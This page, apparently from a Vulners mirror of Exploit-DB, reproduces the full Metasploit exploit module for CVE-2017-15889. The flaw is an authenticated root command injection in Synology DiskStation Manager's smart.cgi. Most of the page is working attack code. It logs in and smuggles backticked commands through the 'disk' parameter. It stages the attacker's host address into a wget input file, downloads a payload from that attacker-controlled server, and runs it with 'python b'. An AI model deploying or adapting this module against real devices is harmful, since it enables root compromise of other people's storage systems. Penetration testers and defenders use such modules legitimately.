Lucene search
K

Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)

🗓️ 25 May 2020 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 512 Views

Synology DiskStation Manager smart.cgi Remote Command Execution vulnerability. Allows arbitrary command execution after website authentication. Limited to 30 characters, requires a wget input file to download payload for execution

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
                        &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
          versions < 5.2-5967-5, which allows the execution of arbitrary commands under root
          privileges after website authentication.
          The vulnerability is located in webman/modules/StorageManager/smart.cgi, which
          allows appending of a command to the device to be scanned.  However, the command
          with drive is limited to 30 characters.  A somewhat valid drive name is required,
          thus /dev/sd is used, even though it doesn't exist.  To circumvent the character
          restriction, a wget input file is staged in /a, and executed to download our payload
          to /b.  From there the payload is executed.  A wfsdelay is required to give time
          for the payload to download, and the execution of it to run.
        },
        'Author' =>
          [
            'Nigusu Kassahun', # Discovery
            'h00die' # metasploit module
          ],
        'References' =>
          [
            [ 'CVE', '2017-15889' ],
            [ 'EDB', '43190' ],
            [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ],
            [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ]
          ],
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Platform' => ['python'],
        'Arch' => [ARCH_PYTHON],
        'Targets' =>
          [
            ['Automatic', {}]
          ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PrependMigrate' => true,
          'WfsDelay' => 10
        },
        'License' => MSF_LICENSE,
        'DisclosureDate' => 'Nov 08 2017'
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']),
        OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']),
        OptString.new('PASSWORD', [true, 'The Password for Synology', ''])
      ]
    )

    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ]
  end

  def check
    vprint_status('Trying to detect installed version')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),
      'vars_get' => { 'host' => '' }
    })

    if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN
      version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
      build = $LAST_MATCH_INFO[:build]
      model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
      model = "DS#{model}" unless model =~ /^[A-Z]/
    else
      vprint_error('Detection failed')
      return CheckCode::Unknown
    end

    vprint_status("Model #{model} with version #{version}-#{build} detected")

    case version
    when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
      return CheckCode::Appears
    when '5.2'
      return CheckCode::Appears if build < '5967-5'
    end

    CheckCode::Safe
  end

  def on_request_uri(cli, _request, cookie, token)
    print_good('HTTP Server request received, sending payload')
    send_response(cli, payload.encoded)
    print_status('Executing payload')
    inject_request(cookie, token, 'python b')
  end

  def inject_request(cookie, token, cmd = '')
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'),
      'cookie' => cookie,
      'headers' => {
        'X-SYNO-TOKEN' => token
      },
      'vars_post' => {
        'action' => 'apply',
        'operation' => 'quick',
        'disk' => "/dev/sd`#{cmd}`"
      }
    })
  end

  def login
    # If you try to debug login through the browser, you'll see that desktop.js calls
    # ux-all.js to do an RSA encrypted login.
    # Wowever in a stroke of luck Mrs. h00die caused
    # a power sag while tracing/debugging the loging, causing the NAS to power off.
    # when that happened, it failed to get the crypto vars, and defaulted to a
    # non-encrypted login, which seems to work just fine.  greetz Mrs. h00die!

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'),
      'vars_get' => { 'enable_syno_token' => 'yes' },
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'passwd' => datastore['PASSWORD'],
        'OTPcode' => '',
        '__cIpHeRtExT' => '',
        'client_time' => Time.now.to_i,
        'isIframeLogin' => 'yes'
      }
    })
    if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body
      result = JSON.parse(json)

      fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
      if result['result'] == 'success'
        return res.get_cookies, result['SynoToken']
      end

      fail_with(Failure::Unknown, "Unknown response: #{result}")
    end
  end

  def exploit
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if datastore['SRVHOST'] == '0.0.0.0'
      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
    end

    begin
      print_status('Attempting Login')
      cookie, token = login

      start_service({ 'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req, cookie, token)
        end,
        'Path' => '/'
      } })

      print_status('Cleaning env')
      inject_request(cookie, token, cmd = 'rm -rf /a')
      inject_request(cookie, token, cmd = 'rm -rf b')
      command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//)
      command_space = 22 - "echo -n ''>>/a".length
      command_space -= 1
      command.each_slice(command_space) do |a|
        a = a.join('')
        vprint_status("Staging wget with: echo -n '#{a}'>>/a")
        inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a")
      end
      print_status('Requesting payload pull')
      register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
      register_file_for_cleanup('/a')
      inject_request(cookie, token, cmd = 'wget -i /a -O b')
      # at this point we let the HTTP server call the last stage
      # wfsdelay should be long enough to hold out for everything to download and run
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 May 2020 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 26.5
CVSS 38.8
EPSS0.6238
512